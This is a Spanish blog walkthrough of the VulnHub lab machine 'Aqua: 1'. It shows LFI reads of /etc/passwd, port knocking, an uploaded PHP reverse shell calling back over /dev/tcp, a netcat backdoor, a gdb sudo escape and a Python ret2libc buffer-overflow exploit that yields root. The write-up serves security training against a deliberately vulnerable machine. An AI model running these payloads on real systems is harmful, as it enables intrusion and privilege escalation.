viernes, 28 de octubre de 2022

AQUA: 1 lfi, port knocking, BOF ret2lib

 

https://www.vulnhub.com/entry/aqua-1,419/

Pantalla inicial:

Help me! My computer has been hacked by Megumin and I have lost access to my computer password! If you help me, I'll tell everything about Megumin so you can help me to hack her back. Please?? ...

1. Pulsamos en yes y nos da unas credenciales de megumin que no sabemos cómo usarlas. Tenemos dos posibilidades: por el puerto ftp que está filtrado o por alguna página de login oculta. 

2. Usando un fuzzer encontramos login.php y accedemos al diario secreto de megumin en home.php. Tenemos lfi

/home.php?showcase=../../../../etc/passwd

3. A partir de aquí hay que ir revisando archivos de configuración o buscar en el home. El hecho de que el puerto ftp aparezca filtrado nos indica la posibilidad de un port knocking. El archivo donde mirar es ../../../../../etc/knockd.conf

[FTP]
sequence = 1234:tcp,5678:tcp,9012:tcp

4. Activamos

knock ip 1234:tcp 5678:tcp 9012:tcp

y comprobamos que ftp se activa con nmap. Entramos en ftp con las credenciales de megumin.

5. No hay ningún archivo en el ftp pero podemos escribir. La idea ahora es subir un shell reverse que podamos activar en web, y para eso hay que encontrar el directorio donde se guardan los archivos para ejecutar el shell con el lfi de home.php.

Con el fuzzer encontramos además el directorio deployment que dentro contiene production.

Subimos como prueba un test.txt por el ftp y vamos mirando en los distintos directorios web encontrados hasta que aparece en production.

Subimos el shell.php

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.2.84/9999 0>&1'");?>

y accedemos a él vía web habiendo abierto la ventana reverse previamente.

6. Una vez dentro como usuario apache probamos su megumin con la password de inicio y funciona. Con sudo -l

User megumin may run the following commands on aqua:
    (ALL) NOPASSWD: /home/aqua/Desktop/backdoor

Miramos

megumin@aqua:/home/aqua/Desktop$ cat backdoor
#!/bin/bash

echo "[+] Backdoor opened! Hehehe..."

runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null

7. Ejecutamos el backdoor y entrando por otra ventana hacemos

nc 127.0.0.1 1337

Accedemos a aqua

www-data@aqua:/var/www/html/deployment/production$ nc 127.0.0.1 1337
nc 127.0.0.1 1337
id
uid=1000(aqua) gid=1000(aqua) groups=1000(aqua),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

8. sudo -l

User aqua may run the following commands on aqua:
    (ALL) NOPASSWD: /root/quotes
    (ALL) NOPASSWD: /root/esp
    (ALL) NOPASSWD: /usr/bin/gdb

Con sudo  /usr/bin/gdb -nx -ex '!sh' -ex quit haríamos root, pero se nos avisaba que este es el camino fácil y que lo intentemos por el difícil sin usar gdb y se supone que usando los otros binarios quotes y esp.

9. Camino difícil explotando /root/quotes

Al ejecutarlo

aqua@aqua:~$ sudo /root/quotes

sudo /root/quotes

/root/quotes [Your name here] 

Mirando en aqua/Desktop encontramos además un enlace a un source que parece ser el de quotes:

https://raw.githubusercontent.com/yunaranyancat/personal_projects/master/project_9/quotes.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define NUMBER_OF_STRING 20
#define MAX_STRING_SIZE 100

void getname(char *buf);

int main(int argc, char **argv)
{

	srand(time(NULL));
	char quotes[NUMBER_OF_STRING][MAX_STRING_SIZE] =
	{ "Impossible is for the unwilling.",
	  "Stay foolish to stay sane.",
	  "When nothing goes right, go left.",
	  "Try Again. Fail again. Fail better.",
	  "Take the risk or lose the chance.",
          "It's okay to not be okay as long as you are not giving up.",
          "Everything is going to be okay in the end. If it's not the okay, it's not the end.",
          "Do it. With love.",
	  "It is better to be hated for what you are than to be loved for what you are not.",
          "Happiness lies in perspective.",
	  "The best way to pay for a lovely moment is to enjoy it. ",
	  "The ultimate mystery is one's own self.",
	  "It doesn't matter how slow you go as long as you don't stop.",
	  "A tiger doesn't lose sleep over the opinion of sheep.",
	  "What worries you, masters you.",
	  "There are no regrets in life, just lessons.",
	  "Showing off is the fool's idea of glory. ",
	  "Meowwww meoww.. meoww meow meowww! Meowwww?? Meow! Meow!",
	  "Failure is not fatal, but failure to change might be.",
	  "Find what you love and let it kill you."
	};

	if (argc < 2)
	{
		printf("%s [Your name here] \n",argv[0]);
		exit(0);
	}
	getname(argv[1]);
	printf("%s\n", quotes[rand()%20]);
	return 0;
}

void getname(char *buf)
{
	char buffer[32];
	strcpy(buffer,buf);
	printf("Hi %s,\n");
}


Todo apunta a un BOF pero no podemos usar gdb. Probando encontramos que segmenta cuando la cadena de entrada es > 40. Asumimos además que está usando la librería libc.so.6

aqua@aqua:~$ find / -name libc.so.6 2>/dev/null

find / -name libc.so.6 2>/dev/null

/lib/i386-linux-gnu/libc.so.6

Con esto vamos a generar el payload que nos lleve a root. Necesitamos encontrar en esta librería los offsets de systema, exit y sh, en la máquina víctima. El payload será

junk+system+exit+sh

system, exit y sh lo sacamos de la librería

- Compilamos el quotes.c en la víctima y hacemos ldd

ldd /tmp/quotes

        linux-gate.so.1 =>  (0xb7fda000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e09000)

        /lib/ld-linux.so.2 (0xb7fdb000)

- system

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system

   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0

   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE

  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

- exit

readelf -a /lib/i386-linux-gnu/libc.so.6 | grep exit

  [27] __libc_atexit     PROGBITS        001b02cc 1af2cc 000004 00  WA  0   0  4
   03     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got .got.plt .data .bss 
   09     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got 
001b1ef0  00057206 R_386_GLOB_DAT    001b2204   argp_err_exit_status@@GLIBC_2.1
001b1fac  00083c06 R_386_GLOB_DAT    001b2154   obstack_exit_failure@@GLIBC_2.0
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

- sh

strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

 15ba0b /bin/sh

El junk exacto no lo sabemos pero vamos a ir probándolo. Código final

from subprocess import call
from struct import pack
libc = 0xb7e09000
system = pack("I",libc+0x0003ada0)
exit= pack ("I",libc+0x0002e9d0)
sh = pack("I",libc+0x15ba0b)

for i in range(41,50):
        junk = "A" * i
        payload=junk+system+exit+sh
        ret=call(["sudo","/root/quotes",payload])

        if (not ret):
                print "ok"
                break
        else:
                print "bad"

megumin@aqua:/home/aqua$ nc 127.0.0.1 1337

python /tmp/exploit.py

id

uid=0(root) gid=0(root) groups=0(root)


No hay comentarios:

Publicar un comentario